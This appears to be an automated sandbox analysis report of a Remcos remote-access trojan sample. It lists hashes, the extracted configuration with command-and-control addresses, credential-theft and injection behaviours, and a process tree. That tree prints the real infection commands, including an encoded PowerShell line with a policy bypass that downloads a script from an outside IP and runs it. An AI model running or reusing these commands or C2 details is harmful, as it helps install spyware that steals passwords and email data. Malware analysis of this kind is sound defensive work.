remcos | 48dbf74443280fa3f68e0cb00c2c482f5692428b56c95f44ee0246aab27e3cd6

Analysis

max time kernel
149s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/07/2026, 00:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bissbetnetorkingmarketthingscomingfor.hta
Size 37KB
Sample260714-akfvtac15x
SHA256 48dbf74443280fa3f68e0cb00c2c482f5692428b56c95f44ee0246aab27e3cd6
MD5 3742ad85877e2c70bb25b59b0c38434a
SHA1 472759fc8cd4edcbf29dff9abb209ba9e8fe1b4b
SHA512 50acb292a18603572ad836e4433fb55a35dd2162dee92171a0a99cad2484a9e08fecf9afdffadcbe692fab9baf2dc87ff0306c25d853e0c3d6d2f9b38947e67b
SSDEEP 192:r3w87eSepeVcww2eIoNoeMQwoejcJWULyoTwewXedG:r3F7LIqc12hoNovQD4cIULyoTdgAG
TLSH
T14D031B77C1885CD7846640BACC1EEEFA3007099E100105B8FDEE1DE5732B16B5A7ABAD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remotehost collection discovery execution remcos rat

Malware Config

Extracted

Family

remcos

Version

6.0.0 Pro

Botnet

RemoteHost

155.103.71.115:15670
155.103.71.115:15680

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M9GNFN
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2760-48-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/5792-47-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/5940-52-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/5792-47-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2760-48-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	4892	powershell.exe
2	4372	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 10 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	aspnet_compiler.exe

Accesses Microsoft Outlook profiles 1 TTPs 30 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

Suspicious use of SetThreadContext 31 IoCs

description	pid	Process	procid_target
PID 4544 set thread context of 1456	4544	powershell.exe	98
PID 1456 set thread context of 2760	1456	aspnet_compiler.exe	99
PID 1456 set thread context of 5792	1456	aspnet_compiler.exe	100
PID 1456 set thread context of 5940	1456	aspnet_compiler.exe	102
PID 1456 set thread context of 1504	1456	aspnet_compiler.exe	106
PID 1456 set thread context of 4736	1456	aspnet_compiler.exe	107
PID 1456 set thread context of 2692	1456	aspnet_compiler.exe	108
PID 1456 set thread context of 4144	1456	aspnet_compiler.exe	112
PID 1456 set thread context of 2484	1456	aspnet_compiler.exe	114
PID 1456 set thread context of 2448	1456	aspnet_compiler.exe	115
PID 1456 set thread context of 1760	1456	aspnet_compiler.exe	120
PID 1456 set thread context of 2020	1456	aspnet_compiler.exe	124
PID 1456 set thread context of 3724	1456	aspnet_compiler.exe	127
PID 1456 set thread context of 4784	1456	aspnet_compiler.exe	130
PID 1456 set thread context of 4812	1456	aspnet_compiler.exe	131
PID 1456 set thread context of 4968	1456	aspnet_compiler.exe	134
PID 1456 set thread context of 6016	1456	aspnet_compiler.exe	137
PID 1456 set thread context of 5156	1456	aspnet_compiler.exe	138
PID 1456 set thread context of 1776	1456	aspnet_compiler.exe	139
PID 1456 set thread context of 5408	1456	aspnet_compiler.exe	142
PID 1456 set thread context of 2780	1456	aspnet_compiler.exe	143
PID 1456 set thread context of 988	1456	aspnet_compiler.exe	145
PID 1456 set thread context of 5760	1456	aspnet_compiler.exe	148
PID 1456 set thread context of 3672	1456	aspnet_compiler.exe	149
PID 1456 set thread context of 5384	1456	aspnet_compiler.exe	150
PID 1456 set thread context of 6076	1456	aspnet_compiler.exe	153
PID 1456 set thread context of 2388	1456	aspnet_compiler.exe	154
PID 1456 set thread context of 4168	1456	aspnet_compiler.exe	155
PID 1456 set thread context of 4332	1456	aspnet_compiler.exe	158
PID 1456 set thread context of 4164	1456	aspnet_compiler.exe	160
PID 1456 set thread context of 2024	1456	aspnet_compiler.exe	161

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4544	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 10 IoCs

pid	pid_target	Process	procid_target
5916	2760	WerFault.exe	99
4076	1504	WerFault.exe	106
4220	4144	WerFault.exe	112
1724	1760	WerFault.exe	120
4556	4784	WerFault.exe	130
768	6016	WerFault.exe	137
3464	5408	WerFault.exe	142
4148	5760	WerFault.exe	148
4128	6076	WerFault.exe	153
5040	4332	WerFault.exe	158

System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4892	powershell.exe
4892	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
2760	aspnet_compiler.exe
2760	aspnet_compiler.exe
5940	aspnet_compiler.exe
5940	aspnet_compiler.exe
4544	powershell.exe
1504	aspnet_compiler.exe
1504	aspnet_compiler.exe
2692	aspnet_compiler.exe
2692	aspnet_compiler.exe
4544	powershell.exe
4144	aspnet_compiler.exe
4144	aspnet_compiler.exe
2448	aspnet_compiler.exe
2448	aspnet_compiler.exe
4544	powershell.exe
1760	aspnet_compiler.exe
1760	aspnet_compiler.exe
3724	aspnet_compiler.exe
3724	aspnet_compiler.exe
4544	powershell.exe
4784	aspnet_compiler.exe
4784	aspnet_compiler.exe
4968	aspnet_compiler.exe
4968	aspnet_compiler.exe
4544	powershell.exe
6016	aspnet_compiler.exe
6016	aspnet_compiler.exe
1776	aspnet_compiler.exe
1776	aspnet_compiler.exe
4544	powershell.exe
5408	aspnet_compiler.exe
5408	aspnet_compiler.exe
988	aspnet_compiler.exe
988	aspnet_compiler.exe
4544	powershell.exe
5760	aspnet_compiler.exe
5760	aspnet_compiler.exe
5384	aspnet_compiler.exe
5384	aspnet_compiler.exe
4544	powershell.exe
6076	aspnet_compiler.exe
6076	aspnet_compiler.exe
4168	aspnet_compiler.exe
4168	aspnet_compiler.exe
4544	powershell.exe
4332	aspnet_compiler.exe
4332	aspnet_compiler.exe
2024	aspnet_compiler.exe

Suspicious behavior: MapViewOfSection 43 IoCs

pid	Process
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe
1456	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	5940	aspnet_compiler.exe
Token: SeDebugPrivilege	2692	aspnet_compiler.exe
Token: SeDebugPrivilege	2448	aspnet_compiler.exe
Token: SeDebugPrivilege	3724	aspnet_compiler.exe
Token: SeDebugPrivilege	4968	aspnet_compiler.exe
Token: SeDebugPrivilege	1776	aspnet_compiler.exe
Token: SeDebugPrivilege	988	aspnet_compiler.exe
Token: SeDebugPrivilege	5384	aspnet_compiler.exe
Token: SeDebugPrivilege	4168	aspnet_compiler.exe
Token: SeDebugPrivilege	2024	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 4880 wrote to memory of 2292	4880	mshta.exe	87
PID 2292 wrote to memory of 4892	2292	cmd.exe	89
PID 4892 wrote to memory of 4372	4892	powershell.exe	90
PID 4372 wrote to memory of 4544	4372	WScript.exe	91
PID 4544 wrote to memory of 6068	4544	powershell.exe	93
PID 4544 wrote to memory of 3784	4544	powershell.exe	94
PID 4544 wrote to memory of 2732	4544	powershell.exe	95
PID 4544 wrote to memory of 4576	4544	powershell.exe	96
PID 4544 wrote to memory of 4420	4544	powershell.exe	97
PID 4544 wrote to memory of 1456	4544	powershell.exe	98
PID 4544 wrote to memory of 1456	4544	powershell.exe	98
PID 4544 wrote to memory of 1456	4544	powershell.exe	98
PID 4544 wrote to memory of 1456	4544	powershell.exe	98
PID 4544 wrote to memory of 1456	4544	powershell.exe	98
PID 4544 wrote to memory of 1456	4544	powershell.exe	98
PID 4544 wrote to memory of 1456	4544	powershell.exe	98
PID 1456 wrote to memory of 2760	1456	aspnet_compiler.exe	99
PID 1456 wrote to memory of 5792	1456	aspnet_compiler.exe	100
PID 1456 wrote to memory of 5056	1456	aspnet_compiler.exe	101
PID 1456 wrote to memory of 5940	1456	aspnet_compiler.exe	102
PID 1456 wrote to memory of 1504	1456	aspnet_compiler.exe	106
PID 1456 wrote to memory of 4736	1456	aspnet_compiler.exe	107
PID 1456 wrote to memory of 2692	1456	aspnet_compiler.exe	108
PID 1456 wrote to memory of 4144	1456	aspnet_compiler.exe	112
PID 1456 wrote to memory of 5484	1456	aspnet_compiler.exe	113
PID 1456 wrote to memory of 2484	1456	aspnet_compiler.exe	114
PID 1456 wrote to memory of 2448	1456	aspnet_compiler.exe	115
PID 1456 wrote to memory of 5712	1456	aspnet_compiler.exe	118
PID 1456 wrote to memory of 2536	1456	aspnet_compiler.exe	119
PID 1456 wrote to memory of 1760	1456	aspnet_compiler.exe	120
PID 1456 wrote to memory of 2436	1456	aspnet_compiler.exe	121
PID 1456 wrote to memory of 3036	1456	aspnet_compiler.exe	122
PID 1456 wrote to memory of 4868	1456	aspnet_compiler.exe	123
PID 1456 wrote to memory of 2020	1456	aspnet_compiler.exe	124
PID 1456 wrote to memory of 1732	1456	aspnet_compiler.exe	125
PID 1456 wrote to memory of 4848	1456	aspnet_compiler.exe	126
PID 1456 wrote to memory of 3724	1456	aspnet_compiler.exe	127
PID 1456 wrote to memory of 4784	1456	aspnet_compiler.exe	130
PID 1456 wrote to memory of 4812	1456	aspnet_compiler.exe	131
PID 1456 wrote to memory of 4708	1456	aspnet_compiler.exe	132
PID 1456 wrote to memory of 4528	1456	aspnet_compiler.exe	133
PID 1456 wrote to memory of 4968	1456	aspnet_compiler.exe	134
PID 1456 wrote to memory of 6016	1456	aspnet_compiler.exe	137
PID 1456 wrote to memory of 5156	1456	aspnet_compiler.exe	138
PID 1456 wrote to memory of 1776	1456	aspnet_compiler.exe	139
PID 1456 wrote to memory of 5408	1456	aspnet_compiler.exe	142
PID 1456 wrote to memory of 2780	1456	aspnet_compiler.exe	143
PID 1456 wrote to memory of 4996	1456	aspnet_compiler.exe	144
PID 1456 wrote to memory of 988	1456	aspnet_compiler.exe	145
PID 1456 wrote to memory of 5760	1456	aspnet_compiler.exe	148
PID 1456 wrote to memory of 3672	1456	aspnet_compiler.exe	149
PID 1456 wrote to memory of 5384	1456	aspnet_compiler.exe	150
PID 1456 wrote to memory of 6076	1456	aspnet_compiler.exe	153
PID 1456 wrote to memory of 2388	1456	aspnet_compiler.exe	154
PID 1456 wrote to memory of 4168	1456	aspnet_compiler.exe	155
PID 1456 wrote to memory of 4332	1456	aspnet_compiler.exe	158
PID 1456 wrote to memory of 468	1456	aspnet_compiler.exe	159
PID 1456 wrote to memory of 4164	1456	aspnet_compiler.exe	160
PID 1456 wrote to memory of 2024	1456	aspnet_compiler.exe	161

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\bissbetnetorkingmarketthingscomingfor.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4880
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PowersheLl -EX BypASS -nOP -w 1 -eC IAAgACAAIAAgACAAdwBHAGUAdAAgAAkACQAdIGgAdAB0AHAAOgAvAC8AMQA5ADgALgAyADMALgAxADQANAAuADIAMwAvADEAMgA5AC8AZwBvAG8AZAB0AGgAaQBuAGcAcwBmAG8AcgBnAHIAZQBhAHQAbgBlAHMAcwBnAG8AbwBkAGYAbwByAC4AdgBiAGUAHSAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAG8AVQB0AEYAaQBsAGUAIAAJAAkACQAJAAkACQAJAAkACQAJAAkAHSAkAEUAbgBWADoAQQBwAFAAZABhAHQAQQBcAGcAaQB2AGUAbgBiAGUAcwB0AG4AZQB0AHcAbwByAGsAaQBuAGsAaQBsAGwAZgBvAHIAYgBlAHQAdABlAHIAbwBmAHIAbQBlAC4AdgBiAGUAHSAgACAAIAAgAAkAIAAJACAAIAAJACAAIAA7ACAAIAAgACYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUATgBWADoAQQBQAHAAZABhAHQAQQBcAGcAaQB2AGUAbgBiAGUAcwB0AG4AZQB0AHcAbwByAGsAaQBuAGsAaQBsAGwAZgBvAHIAYgBlAHQAdABlAHIAbwBmAHIAbQBlAC4AdgBiAGUAHSA= "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PowersheLl -EX BypASS -nOP -w 1 -eC IAAgACAAIAAgACAAdwBHAGUAdAAgAAkACQAdIGgAdAB0AHAAOgAvAC8AMQA5ADgALgAyADMALgAxADQANAAuADIAMwAvADEAMgA5AC8AZwBvAG8AZAB0AGgAaQBuAGcAcwBmAG8AcgBnAHIAZQBhAHQAbgBlAHMAcwBnAG8AbwBkAGYAbwByAC4AdgBiAGUAHSAgACAAIAAgACAAIAAgACAAIAAgACAAIAAtAG8AVQB0AEYAaQBsAGUAIAAJAAkACQAJAAkACQAJAAkACQAJAAkAHSAkAEUAbgBWADoAQQBwAFAAZABhAHQAQQBcAGcAaQB2AGUAbgBiAGUAcwB0AG4AZQB0AHcAbwByAGsAaQBuAGsAaQBsAGwAZgBvAHIAYgBlAHQAdABlAHIAbwBmAHIAbQBlAC4AdgBiAGUAHSAgACAAIAAgAAkAIAAJACAAIAAJACAAIAA7ACAAIAAgACYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAHSAkAGUATgBWADoAQQBQAHAAZABhAHQAQQBcAGcAaQB2AGUAbgBiAGUAcwB0AG4AZQB0AHcAbwByAGsAaQBuAGsAaQBsAGwAZgBvAHIAYgBlAHQAdABlAHIAbwBmAHIAbQBlAC4AdgBiAGUAHSA= "
    3⤵
    - Badlisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\givenbestnetworkinkillforbetterofrme.vbe"
      4⤵
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4372
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -file "C:\Temp\JQQSAUZQ.ps1"
        5⤵
        Suspicious use of SetThreadContext
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4544
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:6068
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:3784
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:2732
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:4576
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:4420
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
